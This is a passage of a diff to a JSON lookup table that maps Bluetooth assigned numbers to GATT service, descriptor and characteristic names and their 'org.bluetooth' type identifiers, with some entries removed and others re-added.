Session Start Time", - "uniform_type_identifier": "org.bluetooth.characteristic.cgm_session_start_time" - }, - "10923": { - "name": "CGM Session Run Time", - "uniform_type_identifier": "org.bluetooth.characteristic.cgm_session_run_time" - }, - "10924": { - "name": "CGM Specific Ops Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.cgm_specific_ops_control_point" - }, - "10925": { - "name": "Indoor Positioning Configuration", - "uniform_type_identifier": "org.bluetooth.characteristic.indoor_positioning_configuration" - }, - "10926": { - "name": "Latitude", - "uniform_type_identifier": "org.bluetooth.characteristic.latitude" - }, - "10927": { - "name": "Longitude", - "uniform_type_identifier": "org.bluetooth.characteristic.Longitude" - }, - "10928": { - "name": "Local North Coordinate", - "uniform_type_identifier": "org.bluetooth.characteristic.local_north_coordinate" - }, - "10929": { - "name": "Local East Coordinate", - "uniform_type_identifier": "org.bluetooth.characteristic.local_east_coordinate" - }, - "10930": { - "name": "Floor Number", - "uniform_type_identifier": "org.bluetooth.characteristic.floor_number" - }, - "10931": { - "name": "Altitude", - "uniform_type_identifier": "org.bluetooth.characteristic.altitude" - }, - "10932": { - "name": "Uncertainty", - "uniform_type_identifier": "org.bluetooth.characteristic.uncertainty" - }, - "10933": { - "name": "Location Name", - "uniform_type_identifier": "org.bluetooth.characteristic.location_name" - }, - "10934": { - "name": "URI", - "uniform_type_identifier": "org.bluetooth.characteristic.uri" - }, - "10935": { - "name": "HTTP Headers", - "uniform_type_identifier": "org.bluetooth.characteristic.http_headers" - }, - "10936": { - "name": "HTTP Status Code", - "uniform_type_identifier": "org.bluetooth.characteristic.http_status_code" - }, - "10937": { - "name": "HTTP Entity Body", - "uniform_type_identifier": "org.bluetooth.characteristic.http_entity_body" - }, - "10938": { - "name": "HTTP Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.http_control_point" - }, - "10939": { - "name": "HTTPS Security", - "uniform_type_identifier": "org.bluetooth.characteristic.https_security" - }, - "10940": { - "name": "TDS Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.tds_control_point" - }, - "10941": { - "name": "OTS Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.ots_feature" - }, - "10942": { - "name": "Object Name", - "uniform_type_identifier": "org.bluetooth.characteristic.object_name" - }, - "10943": { - "name": "Object Type", - "uniform_type_identifier": "org.bluetooth.characteristic.object_type" - }, - "10944": { - "name": "Object Size", - "uniform_type_identifier": "org.bluetooth.characteristic.object_size" - }, - "10945": { - "name": "Object First-Created", - "uniform_type_identifier": "org.bluetooth.characteristic.object_first_created" - }, - "10946": { - "name": "Object Last-Modified", - "uniform_type_identifier": "org.bluetooth.characteristic.object_last_modified" - }, - "10947": { - "name": "Object ID", - "uniform_type_identifier": "org.bluetooth.characteristic.object_id" - }, - "10948": { - "name": "Object Properties", - "uniform_type_identifier": "org.bluetooth.characteristic.object_properties" - }, - "10949": { - "name": "Object Action Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.object_action_control_point" - }, - "10950": { - "name": "Object List Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.object_list_control_point" - }, - "10951": { - "name": "Object List Filter", - "uniform_type_identifier": "org.bluetooth.characteristic.object_list_filter" - }, - "10952": { - "name": "Object Changed", - "uniform_type_identifier": "org.bluetooth.characteristic.object_changed" - }, - "10953": { - "name": "Resolvable Private Address Only", - "uniform_type_identifier": "org.bluetooth.characteristic.resolvable_private_address_only" - }, - "10956": { - "name": "Fitness Machine Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.fitness_machine_feature" - }, - "10957": { - "name": "Treadmill Data", - "uniform_type_identifier": "org.bluetooth.characteristic.treadmill_data" - }, - "10958": { - "name": "Cross Trainer Data", - "uniform_type_identifier": "org.bluetooth.characteristic.cross_trainer_data" - }, - "10959": { - "name": "Step Climber Data", - "uniform_type_identifier": "org.bluetooth.characteristic.step_climber_data" - }, - "10960": { - "name": "Stair Climber Data", - "uniform_type_identifier": "org.bluetooth.characteristic.stair_climber_data" - }, - "10961": { - "name": "Rower Data", - "uniform_type_identifier": "org.bluetooth.characteristic.rower_data" - }, - "10962": { - "name": "Indoor Bike Data", - "uniform_type_identifier": "org.bluetooth.characteristic.indoor_bike_data" - }, - "10963": { - "name": "Training Status", - "uniform_type_identifier": "org.bluetooth.characteristic.training_status" - }, - "10964": { - "name": "Supported Speed Range", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_speed_range" - }, - "10965": { - "name": "Supported Inclination Range", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_inclination_range" - }, - "10966": { - "name": "Supported Resistance Level Range", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_resistance_level_range" - }, - "10967": { - "name": "Supported Heart Rate Range", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_heart_rate_range" - }, - "10968": { - "name": "Supported Power Range", - "uniform_type_identifier": "org.bluetooth.characteristic.supported_power_range" - }, - "10969": { - "name": "Fitness Machine Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.fitness_machine_control_point" - }, - "10970": { - "name": "Fitness Machine Status", - "uniform_type_identifier": "org.bluetooth.characteristic.fitness_machine_status" - }, - "11037": { - "name": "RC Feature", - "uniform_type_identifier": "org.bluetooth.characteristic.rc_feature" - }, - "11038": { - "name": "RC Settings", - "uniform_type_identifier": "org.bluetooth.characteristic.rc_settings" - }, - "11039": { - "name": "Reconnection Configuration Control Point", - "uniform_type_identifier": "org.bluetooth.characteristic.reconnection_configuration_control_point" - } + "6144": { + "name": "Generic Access", + "uniform_type_identifier": "org.bluetooth.service.generic_access" + }, + "6145": { + "name": "Generic Attribute", + "uniform_type_identifier": "org.bluetooth.service.generic_attribute" + }, + "6146": { + "name": "Immediate Alert", + "uniform_type_identifier": "org.bluetooth.service.immediate_alert" + }, + "6147": { + "name": "Link Loss", + "uniform_type_identifier": "org.bluetooth.service.link_loss" + }, + "6148": { + "name": "Tx Power", + "uniform_type_identifier": "org.bluetooth.service.tx_power" + }, + "6149": { + "name": "Current Time Service", + "uniform_type_identifier": "org.bluetooth.service.current_time" + }, + "6150": { + "name": "Reference Time Update Service", + "uniform_type_identifier": "org.bluetooth.service.reference_time_update" + }, + "6151": { + "name": "Next DST Change Service", + "uniform_type_identifier": "org.bluetooth.service.next_dst_change" + }, + "6152": { + "name": "Glucose", + "uniform_type_identifier": "org.bluetooth.service.glucose" + }, + "6153": { + "name": "Health Thermometer", + "uniform_type_identifier": "org.bluetooth.service.health_thermometer" + }, + "6154": { + "name": "Device Information", + "uniform_type_identifier": "org.bluetooth.service.device_information" + }, + "6157": { + "name": "Heart Rate", + "uniform_type_identifier": "org.bluetooth.service.heart_rate" + }, + "6158": { + "name": "Phone Alert Status Service", + "uniform_type_identifier": "org.bluetooth.service.phone_alert_status" + }, + "6159": { + "name": "Battery Service", + "uniform_type_identifier": "org.bluetooth.service.battery_service" + }, + "6160": { + "name": "Blood Pressure", + "uniform_type_identifier": "org.bluetooth.service.blood_pressure" + }, + "6161": { + "name": "Alert Notification Service", + "uniform_type_identifier": "org.bluetooth.service.alert_notification" + }, + "6162": { + "name": "Human Interface Device", + "uniform_type_identifier": "org.bluetooth.service.human_interface_device" + }, + "6163": { + "name": "Scan Parameters", + "uniform_type_identifier": "org.bluetooth.service.scan_parameters" + }, + "6164": { + "name": "Running Speed and Cadence", + "uniform_type_identifier": "org.bluetooth.service.running_speed_and_cadence" + }, + "6165": { + "name": "Automation IO", + "uniform_type_identifier": "org.bluetooth.service.automation_io" + }, + "6166": { + "name": "Cycling Speed and Cadence", + "uniform_type_identifier": "org.bluetooth.service.cycling_speed_and_cadence" + }, + "6168": { + "name": "Cycling Power", + "uniform_type_identifier": "org.bluetooth.service.cycling_power" + }, + "6169": { + "name": "Location and Navigation", + "uniform_type_identifier": "org.bluetooth.service.location_and_navigation" + }, + "6170": { + "name": "Environmental Sensing", + "uniform_type_identifier": "org.bluetooth.service.environmental_sensing" + }, + "6171": { + "name": "Body Composition", + "uniform_type_identifier": "org.bluetooth.service.body_composition" + }, + "6172": { + "name": "User Data", + "uniform_type_identifier": "org.bluetooth.service.user_data" + }, + "6173": { + "name": "Weight Scale", + "uniform_type_identifier": "org.bluetooth.service.weight_scale" + }, + "6174": { + "name": "Bond Management Service", + "uniform_type_identifier": "org.bluetooth.service.bond_management" + }, + "6175": { + "name": "Continuous Glucose Monitoring", + "uniform_type_identifier": "org.bluetooth.service.continuous_glucose_monitoring" + }, + "6176": { + "name": "Internet Protocol Support Service", + "uniform_type_identifier": "org.bluetooth.service.internet_protocol_support" + }, + "6177": { + "name": "Indoor Positioning", + "uniform_type_identifier": "org.bluetooth.service.indoor_positioning" + }, + "6178": { + "name": "Pulse Oximeter Service", + "uniform_type_identifier": "org.bluetooth.service.pulse_oximeter" + }, + "6179": { + "name": "HTTP Proxy", + "uniform_type_identifier": "org.bluetooth.service.http_proxy" + }, + "6180": { + "name": "Transport Discovery", + "uniform_type_identifier": "org.bluetooth.service.transport_discovery" + }, + "6181": { + "name": "Object Transfer Service", + "uniform_type_identifier": "org.bluetooth.service.object_transfer" + }, + "6182": { + "name": "Fitness Machine", + "uniform_type_identifier": "org.bluetooth.service.fitness_machine" + }, + "6183": { + "name": "Mesh Provisioning Service", + "uniform_type_identifier": "org.bluetooth.service.mesh_provisioning" + }, + "6184": { + "name": "Mesh Proxy Service", + "uniform_type_identifier": "org.bluetooth.service.mesh_proxy" + }, + "6185": { + "name": "Reconnection Configuration", + "uniform_type_identifier": "org.bluetooth.service.reconnection_configuration" + }, + "10240": { + "name": "Primary Service", + "uniform_type_identifier": "org.bluetooth.attribute.gatt.primary_service_declaration" + }, + "10241": { + "name": "Secondary Service", + "uniform_type_identifier": "org.bluetooth.attribute.gatt.secondary_service_declaration" + }, + "10242": { + "name": "Include", + "uniform_type_identifier": "org.bluetooth.attribute.gatt.include_declaration" + }, + "10243": { + "name": "Characteristic Declaration", + "uniform_type_identifier": "org.bluetooth.attribute.gatt.characteristic_declaration" + }, + "10496": { + "name": "Characteristic Extended Properties", + "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_extended_properties" + }, + "10497": { + "name": "Characteristic User Description", + "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_user_description" + }, + "10498": { + "name": "Client Characteristic Configuration", + "uniform_type_identifier": "org.bluetooth.descriptor.gatt.client_characteristic_configuration" + }, + "10499": { + "name": "Server Characteristic Configuration", + "uniform_type_identifier": "org.bluetooth.descriptor.gatt.server_characteristic_configuration" + }, + "10500": { + "name": "Characteristic Presentation Format", + "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_presentation_format" + }, + "10501": { + "name": "Characteristic Aggregate Format", + "uniform_type_identifier": "org.bluetooth.descriptor.gatt.characteristic_aggregate_format" + }, + "10502": { + "name": "Valid Range", + "uniform_type_identifier": "org.bluetooth.descriptor.valid_range" + }, + "10503": { + "name": "External Report Reference", + "uniform_type_identifier": "org.bluetooth.descriptor.external_report_reference" + }, + "10504": { + "name": "Report Reference", + "uniform_type_identifier": "org.bluetooth.descriptor.report_reference" + }, + "10505": { + "name": "Number of Digitals", + "uniform_type_identifier": "org.bluetooth.descriptor.number_of_digitals" + }, + "10506": { + "name": "Value Trigger Setting", + "uniform_type_identifier": "org.bluetooth.descriptor.value_trigger_setting" + }, + "10507": { + "name": "Environmental Sensing Configuration", + "uniform_type_identifier": "org.bluetooth.descriptor.es_configuration" + }, + "10508": { + "name": "Environmental Sensing Measurement", + "uniform_type_identifier": "org.bluetooth.descriptor.es_measurement" + }, + "10509": { + "name": "Environmental Sensing Trigger Setting", + "uniform_type_identifier": "org.bluetooth.descriptor.es_trigger_setting" + }, + "10510": { + "name": "Time Trigger Setting", + "uniform_type_identifier": "org.bluetooth.descriptor.time_trigger_setting" + }, + "10752": { + "name": "Device Name", + "uniform_type_identifier": "org.bluetooth.characteristic.gap.device_name" + }, + "10753": { + "name": "Appearance", + "uniform_type_identifier": "org.bluetooth.characteristic.gap.appearance" + }, + "10754": { + "name": "Peripheral Privacy Flag", + "uniform_type_identifier": "org.bluetooth.characteristic.gap.peripheral_privacy_flag" + }, + "10755": { + "name": "Reconnection Address", + "uniform_type_identifier": "org.bluetooth.characteristic.gap.reconnection_address" + }, + "10756": { + "name": "Peripheral Preferred Connection Parameters", + "uniform_type_identifier": "org.bluetooth.characteristic.gap.peripheral_preferred_connection_parameters" + }, + "10757": { + "name": "Service Changed", + "uniform_type_identifier": "org.bluetooth.characteristic.gatt.service_changed" + }, + "10758": { + "name": "Alert Level", + "uniform_type_identifier": "org.bluetooth.characteristic.alert_level" + }, + "10759": { + "name": "Tx Power Level", + "uniform_type_identifier": "org.bluetooth.characteristic.tx_power_level" + }, + "10760": { + "name": "Date Time", + "uniform_type_identifier": "org.bluetooth.characteristic.date_time" + }, + "10761": { + "name": "Day of Week", + "uniform_type_identifier": "org.bluetooth.characteristic.day_of_week" + }, + "10762": { + "name": "Day Date Time", + "uniform_type_identifier": "org.bluetooth.characteristic.day_date_time" + }, + "10763": { + "name": "Exact Time 100", + "uniform_type_identifier": "org.bluetooth.characteristic.exact_time_100" + }, + "10764": { + "name": "Exact Time 256", + "uniform_type_identifier": "org.bluetooth.characteristic.exact_time_256" + }, + "10765": { + "name": "DST Offset", + "uniform_type_identifier": "org.bluetooth.characteristic.dst_offset" + }, + "10766": { + "name": "Time Zone", + "uniform_type_identifier": "org.bluetooth.characteristic.time_zone" + }, + "10767": { + "name": "Local Time Information", + "uniform_type_identifier": "org.bluetooth.characteristic.local_time_information" + }, + "10768": { + "name": "Secondary Time Zone", + "uniform_type_identifier": "org.bluetooth.characteristic.secondary_time_zone" + }, + "10769": { + "name": "Time with DST", + "uniform_type_identifier": "org.bluetooth.characteristic.time_with_dst" + }, + "10770": { + "name": "Time Accuracy", + "uniform_type_identifier": "org.bluetooth.characteristic.time_accuracy" + }, + "10771": { + "name": "Time Source", + "uniform_type_identifier": "org.bluetooth.characteristic.time_source" + }, + "10772": { + "name": "Reference Time Information", + "uniform_type_identifier": "org.bluetooth.characteristic.reference_time_information" + }, + "10773": { + "name": "Time Broadcast", + "uniform_type_identifier": "org.bluetooth.characteristic.time_broadcast" + }, + "10774": { + "name": "Time Update Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.time_update_control_point" + }, + "10775": { + "name": "Time Update State", + "uniform_type_identifier": "org.bluetooth.characteristic.time_update_state" + }, + "10776": { + "name": "Glucose Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.glucose_measurement" + }, + "10777": { + "name": "Battery Level", + "uniform_type_identifier": "org.bluetooth.characteristic.battery_level" + }, + "10778": { + "name": "Battery Power State", + "uniform_type_identifier": "org.bluetooth.characteristic.battery_power_state" + }, + "10779": { + "name": "Battery Level State", + "uniform_type_identifier": "org.bluetooth.characteristic.battery_level_state" + }, + "10780": { + "name": "Temperature Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.temperature_measurement" + }, + "10781": { + "name": "Temperature Type", + "uniform_type_identifier": "org.bluetooth.characteristic.temperature_type" + }, + "10782": { + "name": "Intermediate Temperature", + "uniform_type_identifier": "org.bluetooth.characteristic.intermediate_temperature" + }, + "10783": { + "name": "Temperature Celsius", + "uniform_type_identifier": "org.bluetooth.characteristic.temperature_celsius" + }, + "10784": { + "name": "Temperature Fahrenheit", + "uniform_type_identifier": "org.bluetooth.characteristic.temperature_fahrenheit" + }, + "10785": { + "name": "Measurement Interval", + "uniform_type_identifier": "org.bluetooth.characteristic.measurement_interval" + }, + "10786": { + "name": "Boot Keyboard Input Report", + "uniform_type_identifier": "org.bluetooth.characteristic.boot_keyboard_input_report" + }, + "10787": { + "name": "System ID", + "uniform_type_identifier": "org.bluetooth.characteristic.system_id" + }, + "10788": { + "name": "Model Number String", + "uniform_type_identifier": "org.bluetooth.characteristic.model_number_string" + }, + "10789": { + "name": "Serial Number String", + "uniform_type_identifier": "org.bluetooth.characteristic.serial_number_string" + }, + "10790": { + "name": "Firmware Revision String", + "uniform_type_identifier": "org.bluetooth.characteristic.firmware_revision_string" + }, + "10791": { + "name": "Hardware Revision String", + "uniform_type_identifier": "org.bluetooth.characteristic.hardware_revision_string" + }, + "10792": { + "name": "Software Revision String", + "uniform_type_identifier": "org.bluetooth.characteristic.software_revision_string" + }, + "10793": { + "name": "Manufacturer Name String", + "uniform_type_identifier": "org.bluetooth.characteristic.manufacturer_name_string" + }, + "10794": { + "name": "IEEE 11073-20601 Regulatory Certification Data List", + "uniform_type_identifier": "org.bluetooth.characteristic.ieee_11073-20601_regulatory_certification_data_list" + }, + "10795": { + "name": "Current Time", + "uniform_type_identifier": "org.bluetooth.characteristic.current_time" + }, + "10796": { + "name": "Magnetic Declination", + "uniform_type_identifier": "org.bluetooth.characteristic.magnetic_declination" + }, + "10799": { + "name": "Position 2D", + "uniform_type_identifier": "org.bluetooth.characteristic.position_2d" + }, + "10800": { + "name": "Position 3D", + "uniform_type_identifier": "org.bluetooth.characteristic.position_3d" + }, + "10801": { + "name": "Scan Refresh", + "uniform_type_identifier": "org.bluetooth.characteristic.scan_refresh" + }, + "10802": { + "name": "Boot Keyboard Output Report", + "uniform_type_identifier": "org.bluetooth.characteristic.boot_keyboard_output_report" + }, + "10803": { + "name": "Boot Mouse Input Report", + "uniform_type_identifier": "org.bluetooth.characteristic.boot_mouse_input_report" + }, + "10804": { + "name": "Glucose Measurement Context", + "uniform_type_identifier": "org.bluetooth.characteristic.glucose_measurement_context" + }, + "10805": { + "name": "Blood Pressure Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.blood_pressure_measurement" + }, + "10806": { + "name": "Intermediate Cuff Pressure", + "uniform_type_identifier": "org.bluetooth.characteristic.intermediate_cuff_pressure" + }, + "10807": { + "name": "Heart Rate Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.heart_rate_measurement" + }, + "10808": { + "name": "Body Sensor Location", + "uniform_type_identifier": "org.bluetooth.characteristic.body_sensor_location" + }, + "10809": { + "name": "Heart Rate Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.heart_rate_control_point" + }, + "10810": { + "name": "Removable", + "uniform_type_identifier": "org.bluetooth.characteristic.removable" + }, + "10811": { + "name": "Service Required", + "uniform_type_identifier": "org.bluetooth.characteristic.service_required" + }, + "10812": { + "name": "Scientific Temperature Celsius", + "uniform_type_identifier": "org.bluetooth.characteristic.scientific_temperature_celsius" + }, + "10813": { + "name": "String", + "uniform_type_identifier": "org.bluetooth.characteristic.string" + }, + "10814": { + "name": "Network Availability", + "uniform_type_identifier": "org.bluetooth.characteristic.network_availability" + }, + "10815": { + "name": "Alert Status", + "uniform_type_identifier": "org.bluetooth.characteristic.alert_status" + }, + "10816": { + "name": "Ringer Control point", + "uniform_type_identifier": "org.bluetooth.characteristic.ringer_control_point" + }, + "10817": { + "name": "Ringer Setting", + "uniform_type_identifier": "org.bluetooth.characteristic.ringer_setting" + }, + "10818": { + "name": "Alert Category ID Bit Mask", + "uniform_type_identifier": "org.bluetooth.characteristic.alert_category_id_bit_mask" + }, + "10819": { + "name": "Alert Category ID", + "uniform_type_identifier": "org.bluetooth.characteristic.alert_category_id" + }, + "10820": { + "name": "Alert Notification Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.alert_notification_control_point" + }, + "10821": { + "name": "Unread Alert Status", + "uniform_type_identifier": "org.bluetooth.characteristic.unread_alert_status" + }, + "10822": { + "name": "New Alert", + "uniform_type_identifier": "org.bluetooth.characteristic.new_alert" + }, + "10823": { + "name": "Supported New Alert Category", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_new_alert_category" + }, + "10824": { + "name": "Supported Unread Alert Category", + "uniform_type_identifier": "org.bluetooth.characteristic.supported_unread_alert_category" + }, + "10825": { + "name": "Blood Pressure Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.blood_pressure_feature" + }, + "10826": { + "name": "HID Information", + "uniform_type_identifier": "org.bluetooth.characteristic.hid_information" + }, + "10827": { + "name": "Report Map", + "uniform_type_identifier": "org.bluetooth.characteristic.report_map" + }, + "10828": { + "name": "HID Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.hid_control_point" + }, + "10829": { + "name": "Report", + "uniform_type_identifier": "org.bluetooth.characteristic.report" + }, + "10830": { + "name": "Protocol Mode", + "uniform_type_identifier": "org.bluetooth.characteristic.protocol_mode" + }, + "10831": { + "name": "Scan Interval Window", + "uniform_type_identifier": "org.bluetooth.characteristic.scan_interval_window" + }, + "10832": { + "name": "PnP ID", + "uniform_type_identifier": "org.bluetooth.characteristic.pnp_id" + }, + "10833": { + "name": "Glucose Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.glucose_feature" + }, + "10834": { + "name": "Record Access Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.record_access_control_point" + }, + "10835": { + "name": "RSC Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.rsc_measurement" + }, + "10836": { + "name": "RSC Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.rsc_feature" + }, + "10837": { + "name": "SC Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.sc_control_point" + }, + "10838": { + "name": "Digital", + "uniform_type_identifier": "org.bluetooth.characteristic.digital" + }, + "10839": { + "name": "Digital Output", + "uniform_type_identifier": "org.bluetooth.characteristic.digital_output" + }, + "10840": { + "name": "Analog", + "uniform_type_identifier": "org.bluetooth.characteristic.analog" + }, + "10841": { + "name": "Analog Output", + "uniform_type_identifier": "org.bluetooth.characteristic.analog_output" + }, + "10842": { + "name": "Aggregate", + "uniform_type_identifier": "org.bluetooth.characteristic.aggregate" + }, + "10843": { + "name": "CSC Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.csc_measurement" + }, + "10844": { + "name": "CSC Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.csc_feature" + }, + "10845": { + "name": "Sensor Location", + "uniform_type_identifier": "org.bluetooth.characteristic.sensor_location" + }, + "10846": { + "name": "PLX Spot-Check Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.plx_spot_check_measurement" + }, + "10847": { + "name": "PLX Continuous Measurement Characteristic", + "uniform_type_identifier": "org.bluetooth.characteristic.plx_continuous_measurement" + }, + "10848": { + "name": "PLX Features", + "uniform_type_identifier": "org.bluetooth.characteristic.plx_features" + }, + "10850": { + "name": "Pulse Oximetry Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.pulse_oximetry_control_point" + }, + "10851": { + "name": "Cycling Power Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_measurement" + }, + "10852": { + "name": "Cycling Power Vector", + "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_vector" + }, + "10853": { + "name": "Cycling Power Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_feature" + }, + "10854": { + "name": "Cycling Power Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.cycling_power_control_point" + }, + "10855": { + "name": "Location and Speed Characteristic", + "uniform_type_identifier": "org.bluetooth.characteristic.location_and_speed" + }, + "10856": { + "name": "Navigation", + "uniform_type_identifier": "org.bluetooth.characteristic.navigation" + }, + "10857": { + "name": "Position Quality", + "uniform_type_identifier": "org.bluetooth.characteristic.position_quality" + }, + "10858": { + "name": "LN Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.ln_feature" + }, + "10859": { + "name": "LN Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.ln_control_point" + }, + "10860": { + "name": "Elevation", + "uniform_type_identifier": "org.bluetooth.characteristic.elevation" + }, + "10861": { + "name": "Pressure", + "uniform_type_identifier": "org.bluetooth.characteristic.pressure" + }, + "10862": { + "name": "Temperature", + "uniform_type_identifier": "org.bluetooth.characteristic.temperature" + }, + "10863": { + "name": "Humidity", + "uniform_type_identifier": "org.bluetooth.characteristic.humidity" + }, + "10864": { + "name": "True Wind Speed", + "uniform_type_identifier": "org.bluetooth.characteristic.true_wind_speed" + }, + "10865": { + "name": "True Wind Direction", + "uniform_type_identifier": "org.bluetooth.characteristic.true_wind_direction" + }, + "10866": { + "name": "Apparent Wind Speed", + "uniform_type_identifier": "org.bluetooth.characteristic.apparent_wind_speed" + }, + "10867": { + "name": "Apparent Wind Direction", + "uniform_type_identifier": "org.bluetooth.characteristic.apparent_wind_direction" + }, + "10868": { + "name": "Gust Factor", + "uniform_type_identifier": "org.bluetooth.characteristic.gust_factor" + }, + "10869": { + "name": "Pollen Concentration", + "uniform_type_identifier": "org.bluetooth.characteristic.pollen_concentration" + }, + "10870": { + "name": "UV Index", + "uniform_type_identifier": "org.bluetooth.characteristic.uv_index" + }, + "10871": { + "name": "Irradiance", + "uniform_type_identifier": "org.bluetooth.characteristic.irradiance" + }, + "10872": { + "name": "Rainfall", + "uniform_type_identifier": "org.bluetooth.characteristic.rainfall" + }, + "10873": { + "name": "Wind Chill", + "uniform_type_identifier": "org.bluetooth.characteristic.wind_chill" + }, + "10874": { + "name": "Heat Index", + "uniform_type_identifier": "org.bluetooth.characteristic.heat_index" + }, + "10875": { + "name": "Dew Point", + "uniform_type_identifier": "org.bluetooth.characteristic.dew_point" + }, + "10877": { + "name": "Descriptor Value Changed", + "uniform_type_identifier": "org.bluetooth.characteristic.descriptor_value_changed" + }, + "10878": { + "name": "Aerobic Heart Rate Lower Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.aerobic_heart_rate_lower_limit" + }, + "10879": { + "name": "Aerobic Threshold", + "uniform_type_identifier": "org.bluetooth.characteristic.aerobic_threshold" + }, + "10880": { + "name": "Age", + "uniform_type_identifier": "org.bluetooth.characteristic.age" + }, + "10881": { + "name": "Anaerobic Heart Rate Lower Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.anaerobic_heart_rate_lower_limit" + }, + "10882": { + "name": "Anaerobic Heart Rate Upper Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.anaerobic_heart_rate_upper_limit" + }, + "10883": { + "name": "Anaerobic Threshold", + "uniform_type_identifier": "org.bluetooth.characteristic.anaerobic_threshold" + }, + "10884": { + "name": "Aerobic Heart Rate Upper Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.aerobic_heart_rate_upper_limit" + }, + "10885": { + "name": "Date of Birth", + "uniform_type_identifier": "org.bluetooth.characteristic.date_of_birth" + }, + "10886": { + "name": "Date of Threshold Assessment", + "uniform_type_identifier": "org.bluetooth.characteristic.date_of_threshold_assessment" + }, + "10887": { + "name": "Email Address", + "uniform_type_identifier": "org.bluetooth.characteristic.email_address" + }, + "10888": { + "name": "Fat Burn Heart Rate Lower Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.fat_burn_heart_rate_lower_limit" + }, + "10889": { + "name": "Fat Burn Heart Rate Upper Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.fat_burn_heart_rate_upper_limit" + }, + "10890": { + "name": "First Name", + "uniform_type_identifier": "org.bluetooth.characteristic.first_name" + }, + "10891": { + "name": "Five Zone Heart Rate Limits", + "uniform_type_identifier": "org.bluetooth.characteristic.five_zone_heart_rate_limits" + }, + "10892": { + "name": "Gender", + "uniform_type_identifier": "org.bluetooth.characteristic.gender" + }, + "10893": { + "name": "Heart Rate Max", + "uniform_type_identifier": "org.bluetooth.characteristic.heart_rate_max" + }, + "10894": { + "name": "Height", + "uniform_type_identifier": "org.bluetooth.characteristic.height" + }, + "10895": { + "name": "Hip Circumference", + "uniform_type_identifier": "org.bluetooth.characteristic.hip_circumference" + }, + "10896": { + "name": "Last Name", + "uniform_type_identifier": "org.bluetooth.characteristic.last_name" + }, + "10897": { + "name": "Maximum Recommended Heart Rate", + "uniform_type_identifier": "org.bluetooth.characteristic.maximum_recommended_heart_rate" + }, + "10898": { + "name": "Resting Heart Rate", + "uniform_type_identifier": "org.bluetooth.characteristic.resting_heart_rate" + }, + "10899": { + "name": "Sport Type for Aerobic and Anaerobic Thresholds", + "uniform_type_identifier": "org.bluetooth.characteristic.sport_type_for_aerobic_and_anaerobic_thresholds" + }, + "10900": { + "name": "Three Zone Heart Rate Limits", + "uniform_type_identifier": "org.bluetooth.characteristic.three_zone_heart_rate_limits" + }, + "10901": { + "name": "Two Zone Heart Rate Limit", + "uniform_type_identifier": "org.bluetooth.characteristic.two_zone_heart_rate_limit" + }, + "10902": { + "name": "VO2 Max", + "uniform_type_identifier": "org.bluetooth.characteristic.vo2_max" + }, + "10903": { + "name": "Waist Circumference", + "uniform_type_identifier": "org.bluetooth.characteristic.waist_circumference" + }, + "10904": { + "name": "Weight", + "uniform_type_identifier": "org.bluetooth.characteristic.weight" + }, + "10905": { + "name": "Database Change Increment", + "uniform_type_identifier": "org.bluetooth.characteristic.database_change_increment" + }, + "10906": { + "name": "User Index", + "uniform_type_identifier": "org.bluetooth.characteristic.user_index" + }, + "10907": { + "name": "Body Composition Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.body_composition_feature" + }, + "10908": { + "name": "Body Composition Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.body_composition_measurement" + }, + "10909": { + "name": "Weight Measurement", + "uniform_type_identifier": "org.bluetooth.characteristic.weight_measurement" + }, + "10910": { + "name": "Weight Scale Feature", + "uniform_type_identifier": "org.bluetooth.characteristic.weight_scale_feature" + }, + "10911": { + "name": "User Control Point", + "uniform_type_identifier": "org.bluetooth.characteristic.user_control_point" + }, + "10912": { + "name": "Magnetic Flux Density - 2D", + "uniform_type_identifier": "org.bluetooth.characteristic.Magnetic_flux_density_2D" + }, + "10913": { + "name": "Magnetic Flux Density - 3D", + "uniform_type_identifier": "org.bluetooth.characteristic.Magnetic_flux_density_3D" + }, + "10914": { + "name": "Language", + "uniform_type_identifier": "org.bluetooth.characteristic.language" + }, + "10915": { + "name": "Barometric Pressure Trend", + "uniform_type_identifier": 